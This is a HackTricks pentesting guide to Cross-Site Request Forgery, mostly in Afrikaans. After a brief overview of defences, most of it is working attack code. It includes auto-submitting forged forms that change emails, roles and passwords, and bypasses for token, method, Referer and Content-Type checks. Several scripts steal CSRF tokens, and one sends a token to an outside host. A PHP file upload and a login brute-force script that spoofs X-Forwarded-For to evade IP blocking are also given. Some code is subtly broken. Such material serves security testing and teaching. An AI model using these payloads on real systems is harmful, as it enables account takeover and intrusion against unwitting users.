hacktricks/src/pentesting-web/csrf-cross-site-request-forgery.md

767 lines
29 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSRF (Cross Site Request Forgery)
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** is n tipe sekuriteitskwesbaarheid wat in webtoepassings gevind word. Dit stel n aanvaller in staat om aksies namens onbewuste gebruikers uit te voer deur hul geverifieerde sessies uit te buit. Die aanval gebeur wanneer n gebruiker, wat in n slagoffer se platform aangemeld is, n kwaadwillige webwerf besoek. Daardie webwerf veroorsaak dan versoeke na die slagoffer se rekening deur metodes soos die uitvoer van JavaScript, die indien van vorms, of die laai van beelde.
### Voorvereistes vir n CSRF-aanval
Om n CSRF-kwesbaarheid uit te buit, moet verskeie voorwaardes vervul word:
1. **Identifiseer n waardevolle aksie**: Die aanvaller moet n aksie vind wat die moeite werd is om uit te buit, soos om die gebruiker se wagwoord of e-pos te verander, of om privilige te verhoog.
2. **Sessie-bestuur**: Die gebruiker se sessie moet uitsluitlik deur cookies of die HTTP Basic Authentication header bestuur word, aangesien ander headers nie vir hierdie doel gemanipuleer kan word nie.
3. **Afwesigheid van onvoorspelbare parameters**: Die versoek moet geen onvoorspelbare parameters bevat nie, aangesien dit die aanval kan keer.
### Vinnige Kontrole
Jy kan die versoek in Burp opvang en CSRF-beskermings nagaan; om dit in die blaaier te toets kan jy op **Copy as fetch** klik en die versoek kontroleer:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Verdediging teen CSRF
Verskeie teenmaatreëls kan geïmplementeer word om teen CSRF-aanvalle te beskerm:
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Hierdie attribuut verhoed dat die blaaier cookies saam met cross-site versoeke stuur. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
- [**Cross-origin resource sharing**](cors-bypass.md): Die CORS-beleid van die slagofferwebwerf kan die uitvoerbaarheid van die aanval beïnvloed, veral as die aanval vereis dat die reaksie vanaf die slagoffer-webwerf gelees word. [Learn about CORS bypass](cors-bypass.md).
- **Gebruiker-verifikasie**: Om die gebruiker se wagwoord te vra of n captcha op te los, kan die gebruiker se bedoeling verifieer.
- **Kontroleer Referrer of Origin Headers**: Valideer hierdie headers om te verseker dat versoeke van vertroude bronne kom. Wees egter bewus dat swak geïmplementeerde kontroles omseil kan word deur slim saamgestelde URLs, soos:
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
- **Parametername-wysiging**: Die verander van parametername in POST- of GET-versoeke kan help om geautomatiseerde aanvalle te voorkom.
- **CSRF Tokens**: Insluiting van n unieke CSRF-token in elke sessie en die vereiste van hierdie token in opvolgversoeke kan die risiko van CSRF aansienlik verminder. Die doeltreffendheid van die token kan verbeter word deur CORS af te dwing.
Om hierdie verdedigingstegnieke te verstaan en te implementeer is kritiek vir die instandhouding van die sekuriteit en integriteit van webtoepassings.
#### Algemene foute in verdediging
- SameSite-foute: `SameSite=Lax` laat steeds top-level cross-site navigasies soos skakels en form GETs toe, so baie GET-gebaseerde CSRFs bly moontlik. Sien cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
- Header-kontroles: Valideer `Origin` wanneer dit teenwoordig is; as beide `Origin` en `Referer` afwesig is, faal toe. Moenie op substring/regex-match van `Referer` staatmaak wat omseil kan word met lookalike-domeine of saamgestelde URLs nie, en neem kennis van die `meta name="referrer" content="never"` onderdrukkingstruuk.
- Method overrides: Hanteer oor-geschrewe metodes (`_method` of override headers) as state-changing en handhaaf CSRF op die effektiewe metode, nie net op POST nie.
- Login-vloei: Pas CSRF-beskerming ook op login toe; anders maak login CSRF gedwonge her-verifikasie in aanvaller-beheerde rekenings moontlik, wat saam met stored XSS gekoppel kan word.
## Defences Bypass
### From POST to GET (method-conditioned CSRF validation bypass)
Sommige toepassings voer slegs CSRF-validasie op POST uit terwyl hulle dit vir ander verbs oorslaan. n Algemene anti-pattern in PHP lyk soos:
```php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
```
As die kwesbare endpoint ook parameters vanaf $_REQUEST aanvaar, kan jy dieselfde aksie as 'n GET'-versoek heruitvoer en die CSRF-token heeltemal weglaat. Dit omskep 'n POST-only aksie in 'n GET-aksie wat sonder 'n token slaag.
Example:
- Original POST with token (intended):
```http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
```
- Bypass by switching to GET (no token):
```http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
```
Notes:
- Hierdie patroon verskyn gereeld saam met reflected XSS, waar antwoorde verkeerdelik as text/html geserveer word in plaas van application/json.
- Dit in kombinasie met XSS verlaag die uitbuitingshindernisse aansienlik omdat jy 'n enkele GET-skakel kan verskaf wat beide die kwesbare kodepad aktiveer en CSRF-kontroles heeltemal omseil.
### Gebrek aan token
Aansoeke mag 'n meganisme implementeer om **tokens te valideer** wanneer hulle teenwoordig is. Daar ontstaan egter 'n kwesbaarheid as die validering heeltemal oorgeslaan word wanneer die token afwesig is. Aanvallers kan dit misbruik deur **die parameter te verwyder** wat die token dra, nie net die waarde daarvan nie. Dit stel hulle in staat om die valideringsproses te omseil en 'n Cross-Site Request Forgery (CSRF)-aanval effektief uit te voer.
Verder kontroleer sommige implementasies slegs dat die parameter bestaan maar valideer nie die inhoud daarvan nie, so **'n leë token-waarde word aanvaar**. In daardie geval is dit genoeg om eenvoudig die versoek met `csrf=` in te stuur:
```http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
```
Minimale outomatiese PoC (verberg navigasie met history.pushState):
```html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
```
### CSRF token is not tied to the user session
Aansoeke wat **CSRF tokens nie aan gebruikersessies bind nie** vorm 'n noemenswaardige **veiligheidsrisiko**. Hierdie stelsels verifieer tokens teen 'n **globale poel** eerder as om te verseker dat elke token aan die initierende sessie gebind is.
Hier is hoe aanvalers dit misbruik:
1. **Meld aan** met hul eie rekening.
2. **Kry 'n geldige CSRF-token** uit die globale poel.
3. **Gebruik hierdie token** in 'n CSRF-aanval teen 'n slagoffer.
Hierdie kwesbaarheid stel aanvalers in staat om ongemagtigde versoeke namens die slagoffer te maak, deur die toepassing se **ontoereikende token-verifikasie-meganisme** uit te buit.
### Method bypass
If the request is using a "**vreemde**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`.
This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**:
- `X-HTTP-Method`
- `X-HTTP-Method-Override`
- `X-Method-Override`
Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers cant issue them; with overrides, you can still reach those handlers via POST.
Example request and HTML PoC:
```http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
```
```html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
```
### Custom header token bypass
As die request 'n **custom header** met 'n **token** byvoeg as **CSRF protection method**, dan:
- Toets die request sonder die **Customized Token and also header.**
- Toets die request met presies dieselfde **same length but different token**.
### CSRF token is verified by a cookie
Aansoeke kan CSRF-beskerming implementeer deur die token te dupliseer in beide 'n cookie en 'n request parameter, of deur 'n CSRF cookie te stel en te verifieer of die token wat in die backend gestuur word ooreenstem met die cookie. Die toepassing valideer requests deur te kontroleer of die token in die request parameter ooreenstem met die waarde in die cookie.
Hierdie metode is egter kwesbaar vir CSRF attacks as die website foutiewe areas het wat 'n aanvaller toelaat om 'n CSRF cookie in die slagoffer se browser te stel, soos 'n CRLF vulnerability. Die aanvaller kan dit uitbuit deur 'n misleidende image te laai wat die cookie stel, gevolg deur die initiering van die CSRF attack.
Below is an example of how an attack could be structured:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
```
> [!TIP]
> Let wel dat as die **csrf token verwant is aan die session cookie** sal hierdie aanval nie werk nie, omdat jy die slagoffer se session na jou eie session moet stel, en gevolglik jouself sal aanval.
### Content-Type verandering
Volgens [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), om **preflight** requests wat die **POST**-metode gebruik te **vermy**, is die volgende Content-Type waardes toegelaat:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Neem egter kennis dat die **serverlogika kan verskil** afhangende van die gebruikte **Content-Type**, dus moet jy die genoemde waardes probeer en ook ander soos **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Voorbeeld (van [here](https://brycec.me/posts/corctf_2021_challenges)) van die stuur van JSON data as text/plain:
```html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
```
### Oorkoming van preflight-versoeke vir JSON-data
Wanneer jy probeer om JSON-data via 'n POST-versoek te stuur, is dit nie direk moontlik om `Content-Type: application/json` in 'n HTML-form te gebruik nie. Op dieselfde manier veroorsaak die gebruik van `XMLHttpRequest` om hierdie content type te stuur 'n preflight-versoek. Nietemin is daar strategieë om moontlik hierdie beperking te omseil en te kontroleer of die bediener die JSON-data verwerk ongeag die Content-Type:
1. **Gebruik alternatiewe Content Types**: Gebruik `Content-Type: text/plain` of `Content-Type: application/x-www-form-urlencoded` deur `enctype="text/plain"` in die form te stel. Hierdie benadering toets of die backend die data gebruik ongeag die Content-Type.
2. **Wysig Content Type**: Om 'n preflight-versoek te vermy terwyl jy verseker dat die bediener die inhoud as JSON herken, kan jy die data stuur met `Content-Type: text/plain; application/json`. Dit trigger nie 'n preflight-versoek nie, maar kan moontlik korrek deur die bediener verwerk word as dit gekonfigureer is om `application/json` te aanvaar.
3. **SWF Flash File Utilization**: 'n Minder algemene maar uitvoerbare metode behels die gebruik van 'n SWF flash-lêer om sulke beperkings te omseil. Vir 'n diepgaande begrip van hierdie tegniek, verwys na [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Referrer / Origin kontrole-omseiling
**Vermy Referrer header**
Toepassings mag die 'Referer' header slegs valideer wanneer dit teenwoordig is. Om te verhoed dat 'n browser hierdie header stuur, kan die volgende HTML meta-tag gebruik word:
```xml
<meta name="referrer" content="never">
```
Dit verseker dat die 'Referer' header weggelaat word, wat moontlik valideringskontroles in sommige toepassings kan omseil.
**Regexp bypasses**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Om die domeinnaam van die bediener in die URL te stel wat die Referrer binne die parameters gaan stuur, kan jy dit doen:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
```
### **HEAD metode bypass**
Die eerste deel van [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) verduidelik dat [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), 'n router is ingestel om **handle HEAD requests as GET requests** met geen response body nie — 'n algemene omweg wat nie uniek is aan Oak is nie. In plaas van 'n spesifieke handler wat met HEAD reqs omgaan, word hulle eenvoudigweg **given to the GET handler but the app just removes the response body**.
Daarom, as 'n GET request beperk word, kan jy net **send a HEAD request that will be processed as a GET request**.
## **Exploit Voorbeelde**
### Gestoor CSRF via deur gebruikers gegenereerde HTML
Wanneer rich-text editors of HTML injection toegelaat word, kan jy 'n passiewe fetch persisteer wat 'n kwesbare GET endpoint tref. Enige gebruiker wat die inhoud sien, sal outomaties die request met hul cookies uitvoer.
- As die app 'n globale CSRF token gebruik wat nie aan die gebruikersessie gebonde is nie, kan dieselfde token vir alle gebruikers werk, wat gestoor CSRF betroubaar oor slagoffers maak.
Minimale voorbeeld wat die kyker se e-pos verander wanneer dit gelaai word:
```html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
```
### Login CSRF gekoppel aan stored XSS
Login CSRF alleen mag lae impak hê, maar as dit gekoppel word aan 'n authenticated stored XSS, word dit kragtig: dwing die slagoffer om in 'n deur die aanvaller beheerde rekening aan te meld; sodra hulle in daardie konteks is, sal 'n stored XSS op 'n authenticated bladsy uitvoer en kan steal tokens, hijack the session, of escalate privileges.
- Maak seker die login endpoint is CSRF-able (geen per-session token of origin check nie) en dat geen user interaction gates dit blokkeer.
- Na forced login, auto-navigate na 'n bladsy wat die attackers stored XSS payload bevat.
Minimal login-CSRF PoC:
```html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
```
### **Exfiltrating CSRF Token**
Indien 'n **CSRF token** gebruik word as **defence** kan jy probeer **exfiltrate it** deur misbruik te maak van 'n [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) kwetsbaarheid of 'n [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) kwetsbaarheid.
### **GET using HTML tags**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Ander HTML5-tags wat gebruik kan word om outomaties 'n GET-versoek te stuur, is:
```html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
```
### Vorm GET-versoek
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
```
### Vorm POST request
```html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
```
### Formulier POST-versoek deur iframe
```html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
```
### **Ajax POST request**
```html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>
```
### multipart/form-data POST versoek
```javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST request v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Form POST request van binne 'n iframe
```html
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
```
### **Steel CSRF Token en stuur 'n POST versoek**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Steel CSRF Token en stuur 'n Post request deur 'n iframe, 'n form en Ajax**
```html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **Steel CSRF Token en stuur 'n POST versoek deur 'n iframe en 'n form**
```html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
```
### **Steel token en stuur dit met behulp van 2 iframes**
```html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token met Ajax en stuur 'n post met 'n form**
```html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
```
### CSRF met Socket.IO
```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
```
## CSRF Login Brute Force
Die kode kan gebruik word om 'n Brut Force op 'n login form uit te voer deur 'n CSRF token te gebruik (dit gebruik ook die header X-Forwarded-For om te probeer 'n moontlike IP blacklisting te omseil):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Gereedskap <a href="#tools" id="tools"></a>
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
- [Burp Suite Professional Generate CSRF PoCs](https://portswigger.net/burp)
## Verwysings
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
{{#include ../banners/hacktricks-training.md}}